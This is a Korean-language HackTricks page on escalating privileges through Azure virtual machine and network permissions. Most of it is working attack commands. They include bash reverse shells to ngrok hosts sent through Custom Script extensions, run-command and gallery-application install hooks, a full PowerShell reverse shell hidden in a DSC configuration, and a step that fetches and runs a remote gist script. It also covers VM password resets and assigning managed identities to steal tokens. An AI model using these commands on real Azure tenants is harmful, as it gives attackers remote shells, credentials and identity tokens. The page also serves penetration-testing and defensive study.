Az - Virtual Machines & Network Privesc

Reading time: 12 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

VMS & Network

Azure Virtual Machines 및 Network에 대한 자세한 정보는 다음을 확인하세요:

Az - Virtual Machines & Network

Microsoft.Compute/virtualMachines/extensions/write

이 권한은 가상 머신에서 확장을 실행할 수 있게 하여 임의의 코드를 실행할 수 있게 합니다.
VM에서 임의의 명령을 실행하기 위해 사용자 정의 확장을 악용하는 예:

  • 리버스 쉘 실행
bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • 인터넷에 위치한 스크립트를 실행합니다.
bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

잘 알려진 확장을 악용하여 VM 내에서 코드를 실행하거나 권한 있는 작업을 수행할 수도 있습니다:

VMAccess 확장

이 확장은 Windows VM 내의 사용자 비밀번호를 수정(또는 존재하지 않을 경우 생성)할 수 있게 해줍니다.

bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)

이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 VM 확장입니다. 따라서 이 확장을 통해 Windows VM에서 임의의 명령을 실행하는 데 사용할 수 있습니다:

bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
하이브리드 런북 워커

이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 더 많은 정보는 Automation Accounts service를 확인하세요.

Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)

이것들은 새로운 갤러리 애플리케이션을 생성하고 VM 내에서 실행하기 위한 필수 권한입니다. 갤러리 애플리케이션은 무엇이든 실행할 수 있으므로 공격자는 이를 악용하여 임의의 명령을 실행하는 VM 인스턴스를 손상시킬 수 있습니다.

마지막 2개의 권한은 애플리케이션을 테넌트와 공유함으로써 회피할 수 있습니다.

임의의 명령을 실행하기 위한 악용 예시:

bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Microsoft.Compute/virtualMachines/runCommand/action

Azure가 VM에서 임의의 명령을 실행하기 위해 제공하는 가장 기본적인 메커니즘입니다:

bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Microsoft.Compute/virtualMachines/login/action

이 권한은 사용자가 VM에 SSH 또는 RDP를 통해 사용자로 로그인할 수 있도록 허용합니다 (VM에서 Entra ID 인증이 활성화되어 있는 한).

SSH를 통해 **az ssh vm --name <vm-name> --resource-group <rsc-group>**로 로그인하고, RDP를 통해 정상 Azure 자격 증명으로 로그인합니다.

Microsoft.Compute/virtualMachines/loginAsAdmin/action

이 권한은 사용자가 VM에 SSH 또는 RDP를 통해 사용자로 로그인할 수 있도록 허용합니다 (VM에서 Entra ID 인증이 활성화되어 있는 한).

SSH를 통해 **az ssh vm --name <vm-name> --resource-group <rsc-group>**로 로그인하고, RDP를 통해 정상 Azure 자격 증명으로 로그인합니다.

Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

이 모든 권한은 특정 관리형 ID로 VM을 생성하고 포트를 열어두는 데 필요합니다 (이 경우 22번 포트). 이를 통해 사용자는 VM을 생성하고 연결하여 관리형 ID 토큰을 훔쳐 권한을 상승시킬 수 있습니다.

상황에 따라 이 기술을 남용하기 위해 더 많거나 적은 권한이 필요할 수 있습니다.

bash
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)

Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

이 권한은 VM에 새로운 관리 ID를 할당하는 데 충분합니다. VM은 여러 개의 관리 ID를 가질 수 있습니다. 시스템 할당 ID여러 사용자 관리 ID를 가질 수 있습니다.
그런 다음 메타데이터 서비스에서 각 ID에 대한 토큰을 생성할 수 있습니다.

bash
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2

그런 다음 공격자는 어떤 방법으로든 VM을 손상시켜 할당된 관리 ID에서 토큰을 훔쳐야 합니다. 자세한 내용은 확인하세요:

Cloud SSRF - HackTricks

Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write

이 권한은 가상 머신 사용자와 비밀번호를 변경하여 접근할 수 있게 해줍니다:

bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>

Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".

이 권한은 디스크와 네트워크 인터페이스를 관리할 수 있게 해주며, 가상 머신에 디스크를 연결할 수 있게 해줍니다.

bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll

# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>

TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

문서에 따르면, 이 권한은 관리자로서 Windows Admin Center를 통해 리소스의 OS를 관리할 수 있게 해줍니다. 따라서 이는 VMs를 제어하기 위해 WAC에 대한 접근을 제공하는 것 같습니다...

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기